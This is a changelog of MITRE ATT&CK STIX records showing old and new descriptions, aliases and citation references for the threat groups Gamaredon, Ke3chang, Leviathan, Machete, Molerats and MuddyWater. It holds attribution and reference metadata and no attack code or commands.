| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ | |
| external_references | https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/ | |
| external_references | https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-31 15:10:22.189000+00:00 | 2022-04-15 13:46:34.474000+00:00 |
| description | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word "Armageddon", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020) | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word "Armageddon", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022) In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022) |
| external_references[1]['source_name'] | Gamaredon Group | ACTINIUM |
| external_references[1]['description'] | (Citation: Palo Alto Gamaredon Feb 2017) | (Citation: Microsoft Actinium February 2022) |
| external_references[2]['source_name'] | Palo Alto Gamaredon Feb 2017 | DEV-0157 |
| external_references[2]['description'] | Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017. | (Citation: Microsoft Actinium February 2022) |
| external_references[3]['source_name'] | TrendMicro Gamaredon April 2020 | Gamaredon Group |
| external_references[3]['description'] | Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020. | (Citation: Palo Alto Gamaredon Feb 2017) |
| external_references[4]['source_name'] | ESET Gamaredon June 2020 | IRON TILDEN |
| external_references[4]['description'] | Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020. | (Citation: Secureworks IRON TILDEN Profile) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | IRON TILDEN | |
| aliases | Primitive Bear | |
| aliases | ACTINIUM | |
| aliases | Armageddon | |
| aliases | Shuckworm | |
| aliases | DEV-0157 | |
| external_references | {'source_name': 'Armageddon', 'description': '(Citation: Symantec Shuckworm January 2022)'} | |
| external_references | {'source_name': 'Shuckworm', 'description': '(Citation: Symantec Shuckworm January 2022)'} | |
| external_references | {'source_name': 'Primitive Bear', 'description': '(Citation: Unit 42 Gamaredon February 2022)'} | |
| external_references | {'source_name': 'ESET Gamaredon June 2020', 'description': 'Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.', 'url': 'https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/'} | |
| external_references | {'source_name': 'TrendMicro Gamaredon April 2020', 'description': 'Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/'} | |
| external_references | {'source_name': 'Palo Alto Gamaredon Feb 2017', 'description': 'Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/'} | |
| external_references | {'source_name': 'Microsoft Actinium February 2022', 'description': 'Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.', 'url': 'https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/'} | |
| external_references | {'source_name': 'Secureworks IRON TILDEN Profile', 'description': 'Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-tilden'} | |
| external_references | {'source_name': 'Symantec Shuckworm January 2022', 'description': 'Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine'} | |
| external_references | {'source_name': 'Bleepingcomputer Gamardeon FSB November 2021', 'description': 'Toulas, B. (2018, November 4). Ukraine links members of Gamaredon hacker group to Russian FSB. Retrieved April 15, 2022.', 'url': 'https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/'} | |
| external_references | {'source_name': 'Unit 42 Gamaredon February 2022', 'description': 'Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.', 'url': 'https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/'} |
Current version: 2.0
Version changed from: 1.3 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ke3chang](https://attack.mitre.org/groups/G0004) is a threa | t | 1 | [Ke3chang](https://attack.mitre.org/groups/G0004) is a threa |
| > | t group attributed to actors operating out of China. [Ke3cha | > | t group attributed to actors operating out of China. [Ke3cha | ||
| > | ng](https://attack.mitre.org/groups/G0004) has targeted seve | > | ng](https://attack.mitre.org/groups/G0004) has targeted oil, | ||
| > | ral industries, including oil, government, military, and mor | > | government, diplomatic, military, and NGOs in Central and S | ||
| > | e. (Citation: Villeneuve et al 2014) (Citation: NCC Group AP | > | outh America, the Caribbean, Europe, and North America since | ||
| > | T15 Alive and Strong) (Citation: APT15 Intezer June 2018) | > | at least 2010.(Citation: Mandiant Operation Ke3chang Novemb | ||
| > | er 2014)(Citation: NCC Group APT15 Alive and Strong)(Citatio | ||||
| > | n: APT15 Intezer June 2018)(Citation: Microsoft NICKEL Decem | ||||
| > | ber 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Pooja Natarajan, NEC Corporation India', 'Manikantan Srinivasan, NEC Corporation India', 'Hiroki Nagahama, NEC Corporation'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-07 18:49:43.973000+00:00 | 2022-05-13 12:17:09.479000+00:00 |
| description | [Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018) | [Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021) |
| external_references[1]['source_name'] | Ke3chang | RoyalAPT |
| external_references[1]['description'] | (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018) | (Citation: APT15 Intezer June 2018) |
| external_references[2]['source_name'] | APT15 | NICKEL |
| external_references[2]['description'] | (Citation: NCC Group APT15 Alive and Strong) | (Citation: Microsoft NICKEL December 2021) |
| external_references[3]['source_name'] | Mirage | APT15 |
| external_references[4]['source_name'] | Vixen Panda | Mirage |
| external_references[4]['description'] | (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018) | (Citation: NCC Group APT15 Alive and Strong) |
| external_references[6]['source_name'] | Playful Dragon | Vixen Panda |
| external_references[6]['description'] | (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018) | (Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018) |
| external_references[7]['source_name'] | RoyalAPT | Playful Dragon |
| external_references[7]['description'] | (Citation: APT15 Intezer June 2018) | (Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018) |
| external_references[8]['source_name'] | Villeneuve et al 2014 | Ke3chang |
| external_references[8]['description'] | Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014. | (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018) |
| external_references[9]['source_name'] | NCC Group APT15 Alive and Strong | Microsoft NICKEL December 2021 |
| external_references[9]['description'] | Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018. | MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022. |
| external_references[9]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ | https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe |
| x_mitre_version | 1.3 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | NICKEL | |
| external_references | {'source_name': 'NCC Group APT15 Alive and Strong', 'description': 'Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.', 'url': 'https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/'} | |
| external_references | {'source_name': 'Mandiant Operation Ke3chang November 2014', 'description': 'Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.', 'url': 'https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs'} | |
| external_references | {'source_name': 'Villeneuve et al 2014', 'description': 'Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf'} |
Current version: 3.0
Version changed from: 2.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Leviathan](https://attack.mitre.org/groups/G0065) is a cybe | t | 1 | [Leviathan](https://attack.mitre.org/groups/G0065) is a Chin |
| > | r espionage group that has been active since at least 2013. | > | ese state-sponsored cyber espionage group that has been attr | ||
| > | The group generally targets defense and government organizat | > | ibuted to the Ministry of State Security's (MSS) Hainan Stat | ||
| > | ions, but has also targeted a range of industries including | > | e Security Department and an affiliated front company.(Citat | ||
| > | engineering firms, shipping and transportation, manufacturin | > | ion: CISA AA21-200A APT40 July 2021) Active since at least 2 | ||
| > | g, defense, government offices, and research universities in | > | 009, [Leviathan](https://attack.mitre.org/groups/G0065) has | ||
| > | the United States, Western Europe, and along the South Chin | > | targeted the following sectors: academia, aerospace/aviation | ||
| > | a Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: | > | , biomedical, defense industrial base, government, healthcar | ||
| > | FireEye Periscope March 2018) | > | e, manufacturing, maritime, and transportation across the US | ||
| > | , Canada, Europe, the Middle East, and Southeast Asia.(Citat | ||||
| > | ion: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Le | ||||
| > | viathan Oct 2017)(Citation: FireEye Periscope March 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets | |
| external_references | https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html | |
| external_references | https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 01:06:24.797000+00:00 | 2022-04-15 15:15:51.198000+00:00 |
| description | [Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018) | [Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018) |
| external_references[1]['source_name'] | Leviathan | MUDCARP |
| external_references[1]['description'] | (Citation: Proofpoint Leviathan Oct 2017) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019) |
| external_references[2]['source_name'] | TEMP.Jumper | Kryptonite Panda |
| external_references[2]['description'] | Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye APT40 March 2019) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: Crowdstrike KRYPTONITE PANDA August 2018) |
| external_references[3]['source_name'] | APT40 | Gadolinium |
| external_references[3]['description'] | The group identified by Proofpoint as Leviathan appears to significantly overlap with FireEye's reporting on APT40. Additionally, FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)(Citation: Proofpoint Leviathan Oct 2017) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: MSTIC GADOLINIUM September 2020) |
| external_references[4]['source_name'] | TEMP.Periscope | BRONZE MOHAWK |
| external_references[4]['description'] | Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: SecureWorks BRONZE MOHAWK n.d.) |
| external_references[5]['source_name'] | Proofpoint Leviathan Oct 2017 | Leviathan |
| external_references[5]['description'] | Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018. | (Citation: Proofpoint Leviathan Oct 2017) |
| external_references[6]['source_name'] | FireEye Periscope March 2018 | TEMP.Jumper |
| external_references[6]['description'] | FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. | [Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019) |
| external_references[7]['source_name'] | FireEye APT40 March 2019 | TEMP.Periscope |
| external_references[7]['description'] | Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019. | [Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019) |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | MUDCARP | |
| aliases | Kryptonite Panda | |
| aliases | Gadolinium | |
| aliases | BRONZE MOHAWK | |
| external_references | {'source_name': 'Accenture MUDCARP March 2019', 'description': "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021.", 'url': 'https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies'} | |
| external_references | {'source_name': 'Crowdstrike KRYPTONITE PANDA August 2018', 'description': 'Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021.', 'url': 'https://www.crowdstrike.com/blog/two-birds-one-stone-panda/'} | |
| external_references | {'source_name': 'Proofpoint Leviathan Oct 2017', 'description': 'Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets'} | |
| external_references | {'source_name': 'MSTIC GADOLINIUM September 2020', 'description': 'Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/'} | |
| external_references | {'source_name': 'CISA AA21-200A APT40 July 2021', 'description': 'CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-200a'} | |
| external_references | {'source_name': 'APT40', 'description': 'FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)'} | |
| external_references | {'source_name': 'FireEye Periscope March 2018', 'description': 'FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html'} | |
| external_references | {'source_name': 'FireEye APT40 March 2019', 'description': 'Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html'} | |
| external_references | {'source_name': 'SecureWorks BRONZE MOHAWK n.d.', 'description': 'SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/bronze-mohawk'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Machete](https://attack.mitre.org/groups/G0095) is a group | t | 1 | [Machete](https://attack.mitre.org/groups/G0095) is a suspec |
| > | that has been active since at least 2010, targeting high-pro | > | ted Spanish-speaking cyber espionage group that has been act | ||
| > | file government entities in Latin American countries.(Citati | > | ive since at least 2010. It has primarily focused its operat | ||
| > | on: Cylance Machete Mar 2017)(Citation: Securelist Machete A | > | ions within Latin America, with a particular emphasis on Ven | ||
| > | ug 2014)(Citation: ESET Machete July 2019) | > | ezuela, but also in the US, Europe, Russia, and parts of Asi | ||
| > | a. [Machete](https://attack.mitre.org/groups/G0095) generall | ||||
| > | y targets high-profile organizations such as government inst | ||||
| > | itutions, intelligence services, and military units, as well | ||||
| > | as telecommunications and power companies.(Citation: Cylanc | ||||
| > | e Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(C | ||||
| > | itation: ESET Machete July 2019)(Citation: 360 Machete Sep 2 | ||||
| > | 020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:46:45.662000+00:00 | 2021-10-06 19:26:47.988000+00:00 |
| description | [Machete](https://attack.mitre.org/groups/G0095) is a group that has been active since at least 2010, targeting high-profile government entities in Latin American countries.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019) | [Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020) |
| external_references[1]['description'] | (Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019) | (Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)( |
| external_references[2]['source_name'] | El Machete | APT-C-43 |
| external_references[2]['description'] | (Citation: Cylance Machete Mar 2017) | (Citation: 360 Machete Sep 2020) |
| external_references[3]['source_name'] | Cylance Machete Mar 2017 | El Machete |
| external_references[3]['description'] | The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019. | (Citation: Cylance Machete Mar 2017) |
| external_references[4]['source_name'] | Securelist Machete Aug 2014 | Cylance Machete Mar 2017 |
| external_references[4]['description'] | Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019. | The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019. |
| external_references[4]['url'] | https://securelist.com/el-machete/66108/ | https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html |
| external_references[5]['source_name'] | ESET Machete July 2019 | Securelist Machete Aug 2014 |
| external_references[5]['description'] | ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. | Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019. |
| external_references[5]['url'] | https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf | https://securelist.com/el-machete/66108/ |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | APT-C-43 | |
| external_references | {'source_name': 'ESET Machete July 2019', 'description': 'ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf'} | |
| external_references | {'source_name': '360 Machete Sep 2020', 'description': 'kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020.', 'url': 'https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Molerats](https://attack.mitre.org/groups/G0021) is a polit | t | 1 | [Molerats](https://attack.mitre.org/groups/G0021) is an Arab |
| > | ically-motivated threat group that has been operating since | > | ic-speaking, politically-motivated threat group that has bee | ||
| > | 2012. The group's victims have primarily been in the Middle | > | n operating since 2012. The group's victims have primarily b | ||
| > | East, Europe, and the United States. (Citation: DustySky) (C | > | een in the Middle East, Europe, and the United States.(Citat | ||
| > | itation: DustySky2)(Citation: Kaspersky MoleRATs April 2019) | > | ion: DustySky)(Citation: DustySky2)(Citation: Kaspersky Mole | ||
| > | RATs April 2019)(Citation: Cybereason Molerats Dec 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 22:11:04.389000+00:00 | 2021-04-27 20:16:16.057000+00:00 |
| description | [Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019) | [Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020) |
| external_references[2]['description'] | (Citation: FireEye Operation Molerats) | (Citation: FireEye Operation Molerats)(Citation: Cybereason Molerats Dec 2020) |
| external_references[3]['description'] | (Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019) | (Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020) |
| external_references[7]['source_name'] | FireEye Operation Molerats | Cybereason Molerats Dec 2020 |
| external_references[7]['description'] | Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016. | Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html | https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye Operation Molerats', 'description': 'Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html'} |
Current version: 3.0
Version changed from: 2.3 → 3.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/ | |
| external_references | https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group | |
| external_references | https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-29 21:27:47.641000+00:00 | 2021-04-26 22:30:05.308000+00:00 |
| external_references[2]['source_name'] | Seedworm | Earth Vetala |
| external_references[2]['description'] | (Citation: Symantec MuddyWater Dec 2018) | (Citation: Trend Micro Muddy Water March 2021) |
| external_references[3]['source_name'] | TEMP.Zagros | MERCURY |
| external_references[3]['description'] | (Citation: FireEye MuddyWater Mar 2018) | (Citation: Anomali Static Kitten February 2021) |
| external_references[4]['source_name'] | Unit 42 MuddyWater Nov 2017 | Static Kitten |
| external_references[4]['description'] | Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018. | (Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021) |
| external_references[5]['source_name'] | Symantec MuddyWater Dec 2018 | Seedworm |
| external_references[5]['description'] | Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018. | (Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021) |
| external_references[6]['source_name'] | ClearSky MuddyWater Nov 2018 | TEMP.Zagros |
| external_references[6]['description'] | ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018. | (Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021) |
